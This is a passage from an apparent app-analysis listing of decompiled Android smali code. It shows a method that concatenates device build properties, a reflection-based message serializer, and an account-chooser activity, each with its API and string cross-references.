                              18move-result-object v0
                              20invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              21move-result-object v0
                              22new-instance v1, Ljava/lang/StringBuilder;
                              24invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              25move-result-object v0
                              27invoke-direct {v1, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              29const-string v0, ";MODEL/"
                              31invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              32move-result-object v0
                              34sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              37move-result-object v0
                              39invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              40move-result-object v0
                              41new-instance v1, Ljava/lang/StringBuilder;
                              43invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              44move-result-object v0
                              46invoke-direct {v1, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              48const-string v0, ";BOARD/"
                              50invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              51move-result-object v0
                              53sget-object v1, Landroid/os/Build;->BOARD:Ljava/lang/String;
                              55invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              56move-result-object v0
                              58invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              59move-result-object v0
                              60new-instance v1, Ljava/lang/StringBuilder;
                              62invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              63move-result-object v0
                              65invoke-direct {v1, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              67const-string v0, ";BRAND/"
                              69invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              70move-result-object v0
                              72sget-object v1, Landroid/os/Build;->BRAND:Ljava/lang/String;
                              74invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              75move-result-object v0
                              77invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              78move-result-object v0
                              79new-instance v1, Ljava/lang/StringBuilder;
                              81invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              82move-result-object v0
                              84invoke-direct {v1, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              86const-string v0, ";DEVICE/"
                              88invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              89move-result-object v0
                              91sget-object v1, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                              93invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              94move-result-object v0
                              96invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              97move-result-object v0
                              98new-instance v1, Ljava/lang/StringBuilder;
                              100invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              101move-result-object v0
                              103invoke-direct {v1, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              105const-string v0, ";HARDWARE/"
                              107invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              108move-result-object v0
                              110sget-object v1, Landroid/os/Build;->HARDWARE:Ljava/lang/String;
                              112invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              113move-result-object v0
                              115invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              116move-result-object v0
                              117new-instance v1, Ljava/lang/StringBuilder;
                              119invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              120move-result-object v0
                              122invoke-direct {v1, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              124const-string v0, ";PRODUCT/"
                              126invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              127move-result-object v0
                              129sget-object v1, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                              131invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              132move-result-object v0
                              134invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              135move-result-object v0
                              136return-object v0
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              • java.util.ArrayList.<init>
                              • java.util.List.size
                              • java.util.List.get
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.isPrimitive
                              • java.lang.reflect.Field.getType
                              • java.lang.reflect.Field.getType
                              • java.lang.reflect.Field.getType
                              • java.lang.reflect.Field.get
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.isArray
                              • java.lang.reflect.Field.get
                              • java.lang.reflect.Array.getLength
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.getComponentType
                              • java.lang.Class.isPrimitive
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.getComponentType
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.getComponentType
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.getComponentType
                              • java.lang.reflect.Array.get
                              • java.lang.StringBuilder.<init>
                              • java.lang.reflect.Field.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Exception.<init>
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.isAssignableFrom
                              • java.lang.reflect.Field.get
                              • java.util.List.size
                              • java.lang.reflect.Field.getGenericType
                              • java.lang.reflect.ParameterizedType.getActualTypeArguments
                              • java.lang.Class.isPrimitive
                              • java.util.List.get
                              • java.util.List.get
                              • java.lang.reflect.Field.get
                              Strings
                              • array type is not primitive or String
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v10, 0x4
                              2const/4 v3, 0x0
                              4invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              5move-result-object v0
                              7invoke-direct {p0, v0}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/lang/Class;)Ljava/util/List;
                              8move-result-object v6
                              9new-instance v7, Ljava/util/ArrayList;
                              11invoke-direct {v7}, Ljava/util/ArrayList;-><init>()V
                              12move v2, v3
                              13goto_10:
                              14invoke-interface {v6}, Ljava/util/List;->size()I
                              15move-result v0
                              16if-ge v2, v0, :cond_164
                              18invoke-interface {v6, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              19move-result-object v0
                              20check-cast v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;
                              22iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              23const/4 v4, 0x1
                              25invoke-virtual {v1, v4}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              27iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              29invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              30move-result-object v1
                              32invoke-virtual {v1}, Ljava/lang/Class;->isPrimitive()Z
                              33move-result v1
                              34if-nez v1, :cond_44
                              36iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              38invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              39move-result-object v1
                              41invoke-direct {p0, v1}, Lcom/omg/base/network/serializer/MessageCodec;->c(Ljava/lang/Class;)Z
                              42move-result v1
                              43if-nez v1, :cond_44
                              45iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              47invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              48move-result-object v1
                              49const-class v4, Ljava/lang/String;
                              50if-ne v1, v4, :cond_5c
                              51cond_44:
                              52iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              54invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              55move-result-object v1
                              57iget-object v0, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              59invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              60move-result-object v0
                              62invoke-direct {p0, v1, v0}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/lang/Class;Ljava/lang/Object;)[B
                              63move-result-object v0
                              64array-length v1, v0
                              66invoke-direct {p0, v7, v0, v3, v1}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/util/List;[BII)V
                              67goto_58: add-int/lit8 v0, v2, 0x1
                              68move v2, v0
                              69goto/16 :goto_10
                              70cond_5c:
                              71iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              73invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              74move-result-object v1
                              76invoke-virtual {v1}, Ljava/lang/Class;->isArray()Z
                              77move-result v1
                              78if-eqz v1, :cond_e7
                              80iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              82invoke-virtual {v1, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              83move-result-object v5
                              84if-eqz v5, :cond_16b
                              86invoke-static {v5}, Ljava/lang/reflect/Array;->getLength(Ljava/lang/Object;)I
                              87move-result v1
                              88goto_74: new-array v4, v10, [B
                              90invoke-static {v4, v1, v3}, Lcom/omg/base/network/serializer/ByteUtil;->a([BII)V
                              91array-length v8, v4
                              93invoke-direct {p0, v7, v4, v3, v8}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/util/List;[BII)V
                              95iget-object v4, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              97invoke-virtual {v4}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              98move-result-object v4
                              100invoke-virtual {v4}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              101move-result-object v4
                              103invoke-virtual {v4}, Ljava/lang/Class;->isPrimitive()Z
                              104move-result v4
                              105if-nez v4, :cond_ab
                              107iget-object v4, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              109invoke-virtual {v4}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              110move-result-object v4
                              112invoke-virtual {v4}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              113move-result-object v4
                              115invoke-direct {p0, v4}, Lcom/omg/base/network/serializer/MessageCodec;->c(Ljava/lang/Class;)Z
                              116move-result v4
                              117if-nez v4, :cond_ab
                              119iget-object v4, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              121invoke-virtual {v4}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              122move-result-object v4
                              124invoke-virtual {v4}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              125move-result-object v4
                              126const-class v8, Ljava/lang/String;
                              127if-ne v4, v8, :cond_c7
                              128cond_ab: move v4, v3
                              129goto_ac: if-ge v4, v1, :cond_58
                              131iget-object v8, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              133invoke-virtual {v8}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              134move-result-object v8
                              136invoke-virtual {v8}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              137move-result-object v8
                              139invoke-static {v5, v4}, Ljava/lang/reflect/Array;->get(Ljava/lang/Object;I)Ljava/lang/Object;
                              140move-result-object v9
                              142invoke-direct {p0, v8, v9}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/lang/Class;Ljava/lang/Object;)[B
                              143move-result-object v8
                              144array-length v9, v8
                              146invoke-direct {p0, v7, v8, v3, v9}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/util/List;[BII)V
                              147add-int/lit8 v4, v4, 0x1
                              148goto/16 :goto_ac
                              149cond_c7: new-instance v1, Ljava/lang/Exception;
                              150new-instance v2, Ljava/lang/StringBuilder;
                              152invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              154iget-object v0, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              156invoke-virtual {v0}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              157move-result-object v0
                              159invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              160move-result-object v0
                              162const-string/jumbo v2, " array type is not primitive or String"
                              164invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              165move-result-object v0
                              167invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              168move-result-object v0
                              170invoke-direct {v1, v0}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
                              171throw v1
                              172cond_e7: const-class v1, Ljava/util/List;
                              174iget-object v4, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              176invoke-virtual {v4}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              177move-result-object v4
                              179invoke-virtual {v1, v4}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                              180move-result v1
                              181if-eqz v1, :cond_154
                              183iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              185invoke-virtual {v1, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              186move-result-object v1
                              187check-cast v1, Ljava/util/List;
                              188if-eqz v1, :cond_169
                              190invoke-interface {v1}, Ljava/util/List;->size()I
                              191move-result v4
                              192goto_103: new-array v5, v10, [B
                              194invoke-static {v5, v4, v3}, Lcom/omg/base/network/serializer/ByteUtil;->a([BII)V
                              195array-length v8, v5
                              197invoke-direct {p0, v7, v5, v3, v8}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/util/List;[BII)V
                              199iget-object v0, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              201invoke-virtual {v0}, Ljava/lang/reflect/Field;->getGenericType()Ljava/lang/reflect/Type;
                              202move-result-object v0
                              203instance-of v5, v0, Ljava/lang/reflect/ParameterizedType;
                              204if-eqz v5, :cond_58
                              205check-cast v0, Ljava/lang/reflect/ParameterizedType;
                              207invoke-interface {v0}, Ljava/lang/reflect/ParameterizedType;->getActualTypeArguments()[Ljava/lang/reflect/Type;
                              208move-result-object v0
                              209aget-object v0, v0, v3
                              210check-cast v0, Ljava/lang/Class;
                              212invoke-virtual {v0}, Ljava/lang/Class;->isPrimitive()Z
                              213move-result v5
                              214if-nez v5, :cond_130
                              216invoke-direct {p0, v0}, Lcom/omg/base/network/serializer/MessageCodec;->c(Ljava/lang/Class;)Z
                              217move-result v5
                              218if-nez v5, :cond_130
                              219const-class v5, Ljava/lang/String;
                              220if-ne v0, v5, :cond_142
                              221cond_130: move v5, v3
                              222goto_131: if-ge v5, v4, :cond_58
                              224invoke-interface {v1, v5}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              225move-result-object v8
                              227invoke-direct {p0, v0, v8}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/lang/Class;Ljava/lang/Object;)[B
                              228move-result-object v8
                              229array-length v9, v8
                              231invoke-direct {p0, v7, v8, v3, v9}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/util/List;[BII)V
                              232add-int/lit8 v5, v5, 0x1
                              233goto/16 :goto_131
                              234cond_142: move v0, v3
                              235goto_143: if-ge v0, v4, :cond_58
                              237invoke-interface {v1, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              238move-result-object v5
                              240invoke-virtual {p0, v5}, Lcom/omg/base/network/serializer/MessageCodec;->serializeObject(Ljava/lang/Object;)[B
                              241move-result-object v5
                              242array-length v8, v5
                              244invoke-direct {p0, v7, v5, v3, v8}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/util/List;[BII)V
                              245add-int/lit8 v0, v0, 0x1
                              246goto/16 :goto_143
                              247cond_154:
                              248iget-object v0, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              250invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              251move-result-object v0
                              253invoke-virtual {p0, v0}, Lcom/omg/base/network/serializer/MessageCodec;->serializeObject(Ljava/lang/Object;)[B
                              254move-result-object v0
                              255array-length v1, v0
                              257invoke-direct {p0, v7, v0, v3, v1}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/util/List;[BII)V
                              258goto/16 :goto_58
                              259cond_164:
                              260invoke-direct {p0, v7}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/util/List;)[B
                              261move-result-object v0
                              262return-object v0
                              263cond_169: move v4, v3
                              264goto/16 :goto_103
                              265cond_16b: move v1, v3
                              266goto/16 :goto_74
                              APIs
                              • android.util.Log.isLoggable
                              • android.content.Intent.getExtras
                              • android.content.Intent.getExtras
                              • android.os.Bundle.keySet
                              • android.content.Intent.getExtras
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.v
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mAccounts:Ljava/util/ArrayList
                              • java.util.ArrayList.isEmpty
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.setResult
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.finish
                              • android.content.Intent.getStringExtra
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.runAddAccountForAuthenticator
                              • android.util.Log.d
                              • android.util.Log.d
                              • android.util.Log.isLoggable
                              • android.util.Log.v
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.setResult
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.finish
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • java.util.HashSet.<init>
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mExistingAccounts:[Landroid/os/Parcelable
                              • java.util.Set.add
                              • java.util.Set.contains
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.accounts.Account.type:Ljava/lang/String
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.setResultAndFinish
                              Strings
                              • AccountChooser
                              • ChooseTypeAndAccountActivity.onActivityResult(reqCode=
                              • , resCode=
                              • , extras=
                              • )
                              • accountType
                              • ChooseTypeAndAccountActivity.onActivityResult: unable to find account type, pretending the request was canceled
                              • ChooseTypeAndAccountActivity.onActivityResult: unable to find added account, pretending the request was canceled
                              • ChooseTypeAndAccountActivity.onActivityResult: canceled
                              • authAccount
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v9, 0x2
                              2const/4 v1, 0x0
                              3const/4 v4, 0x0
                              5const-string v0, "AccountChooser"
                              7invoke-static {v0, v9}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
                              8move-result v0
                              9if-eqz v0, :cond_52
                              10if-eqz p3, :cond_1a
                              12invoke-virtual {p3}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                              13move-result-object v0
                              14if-eqz v0, :cond_1a
                              16invoke-virtual {p3}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                              17move-result-object v0
                              19invoke-virtual {v0}, Landroid/os/Bundle;->keySet()Ljava/util/Set;
                              20cond_1a: if-eqz p3, :cond_65
                              22invoke-virtual {p3}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                              23move-result-object v0
                              24goto_20:
                              25const-string v2, "AccountChooser"
                              26new-instance v3, Ljava/lang/StringBuilder;
                              28invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              30const-string v5, "ChooseTypeAndAccountActivity.onActivityResult(reqCode="
                              32invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              33move-result-object v3
                              35invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              36move-result-object v3
                              38const-string v5, ", resCode="
                              40invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              41move-result-object v3
                              43invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              44move-result-object v3
                              46const-string v5, ", extras="
                              48invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              49move-result-object v3
                              51invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              52move-result-object v0
                              54const-string v3, ")"
                              56invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              57move-result-object v0
                              59invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              60move-result-object v0
                              62invoke-static {v2, v0}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                              63cond_52: iput v4, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mPendingRequest:I
                              64if-nez p2, :cond_67
                              66iget-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              68invoke-virtual {v0}, Ljava/util/ArrayList;->isEmpty()Z
                              69move-result v0
                              70if-eqz v0, :cond_64
                              72invoke-virtual {p0, v4}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->setResult(I)V
                              74invoke-virtual {p0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->finish()V
                              75goto_64: return-void
                              76cond_65: move-object v0, v1
                              77goto/16 :goto_20
                              78cond_67: const/4 v0, -0x1
                              79if-ne p2, v0, :cond_89
                              80const/4 v0, 0x1
                              81if-ne p1, v0, :cond_9f
                              82if-eqz p3, :cond_7b
                              84const-string v0, "accountType"
                              86invoke-virtual {p3, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              87move-result-object v0
                              88if-eqz v0, :cond_7b
                              90invoke-virtual {p0, v0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->runAddAccountForAuthenticator(Ljava/lang/String;)V
                              91goto/16 :goto_64
                              92cond_7b:
                              93const-string v0, "AccountChooser"
                              95const-string v1, "ChooseTypeAndAccountActivity.onActivityResult: unable to find account type, pretending the request was canceled"
                              97invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              98cond_82:
                              99const-string v0, "AccountChooser"
                              101const-string v1, "ChooseTypeAndAccountActivity.onActivityResult: unable to find added account, pretending the request was canceled"
                              103invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              104cond_89:
                              105const-string v0, "AccountChooser"
                              107invoke-static {v0, v9}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
                              108move-result v0
                              109if-eqz v0, :cond_98
                              111const-string v0, "AccountChooser"
                              113const-string v1, "ChooseTypeAndAccountActivity.onActivityResult: canceled"
                              115invoke-static {v0, v1}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                              116cond_98:
                              117invoke-virtual {p0, v4}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->setResult(I)V
                              119invoke-virtual {p0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->finish()V
                              120goto/16 :goto_64
                              121cond_9f: if-ne p1, v9, :cond_82
                              122if-eqz p3, :cond_f2
                              124const-string v0, "authAccount"
                              126invoke-virtual {p3, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              127move-result-object v3
                              129const-string v0, "accountType"
                              131invoke-virtual {p3, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              132move-result-object v2
                              133goto_af: if-eqz v3, :cond_b3
                              134if-nez v2, :cond_ef
                              135cond_b3:
                              136invoke-static {}, Lcom/lody/virtual/client/ipc/VAccountManager;->get()Lcom/lody/virtual/client/ipc/VAccountManager;
                              137move-result-object v0
                              138iget v5, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mCallingUserId:I
                              140invoke-virtual {v0, v5, v1}, Lcom/lody/virtual/client/ipc/VAccountManager;->getAccounts(ILjava/lang/String;)[Landroid/accounts/Account;
                              141move-result-object v5
                              142new-instance v6, Ljava/util/HashSet;
                              144invoke-direct {v6}, Ljava/util/HashSet;-><init>()V
                              146iget-object v7, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mExistingAccounts:[Landroid/os/Parcelable;
                              147array-length v8, v7
                              148move v1, v4
                              149goto_c6: if-ge v1, v8, :cond_d3
                              150aget-object v0, v7, v1
                              151check-cast v0, Landroid/accounts/Account;
                              153invoke-interface {v6, v0}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              154add-int/lit8 v0, v1, 0x1
                              155move v1, v0
                              156goto/16 :goto_c6
                              157cond_d3: array-length v1, v5
                              158move v0, v4
                              159goto_d5: if-ge v0, v1, :cond_ef
                              160aget-object v7, v5, v0
                              162invoke-interface {v6, v7}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                              163move-result v8
                              164if-nez v8, :cond_ec
                              166iget-object v1, v7, Landroid/accounts/Account;->name:Ljava/lang/String;
                              168iget-object v0, v7, Landroid/accounts/Account;->type:Ljava/lang/String;
                              169goto_e3: if-nez v1, :cond_e7
                              170if-eqz v0, :cond_82
                              171cond_e7:
                              172invoke-direct {p0, v1, v0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->setResultAndFinish(Ljava/lang/String;Ljava/lang/String;)V
                              173goto/16 :goto_64
                              174cond_ec: add-int/lit8 v0, v0, 0x1
                              175goto/16 :goto_d5
                              176cond_ef: move-object v0, v2
                              177move-object v1, v3
                              178goto/16 :goto_e3
                              179cond_f2: move-object v2, v1
                              180move-object v3, v1
                              181goto/16 :goto_af
                              Cross References
                              APIs
                              • java.lang.Class.newInstance
                              • java.util.List.size
                              • java.util.List.get
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.isPrimitive
                              • java.lang.reflect.Field.getType
                              • java.lang.reflect.Field.getType
                              • java.lang.reflect.Field.getType
                              • java.lang.reflect.Field.set
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.isArray
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.getComponentType
                              • java.lang.Class.isPrimitive
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.getComponentType
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.getComponentType
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.getComponentType
                              • java.lang.reflect.Field.get
                              • java.lang.reflect.Array.set
                              • java.lang.StringBuilder.<init>
                              • java.lang.reflect.Field.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Exception.<init>
                              • java.lang.reflect.Field.getType
                              • java.lang.Class.isAssignableFrom
                              • java.lang.reflect.Field.getGenericType
                              • java.lang.reflect.ParameterizedType.getActualTypeArguments
                              • java.util.ArrayList.<init>
                              • java.lang.Class.isPrimitive
                              • java.util.List.add
                              • java.lang.reflect.Field.set
                              • java.util.List.add
                              • java.lang.reflect.Field.getType
                              • java.lang.reflect.Field.set
                              Strings
                              • array type is not primitive or String
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"([BI",
                              3"Ljava/lang/Class",
                              4"<*>;)",
                              5"Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;"
                              6}
                              7.end annotation
                              8.prologue
                              9const/4 v3, 0x0
                              10new-instance v7, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;
                              12invoke-direct {v7, p0}, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;-><init>(Lcom/omg/base/network/serializer/MessageCodec;)V
                              14invoke-virtual {p3}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                              15move-result-object v0
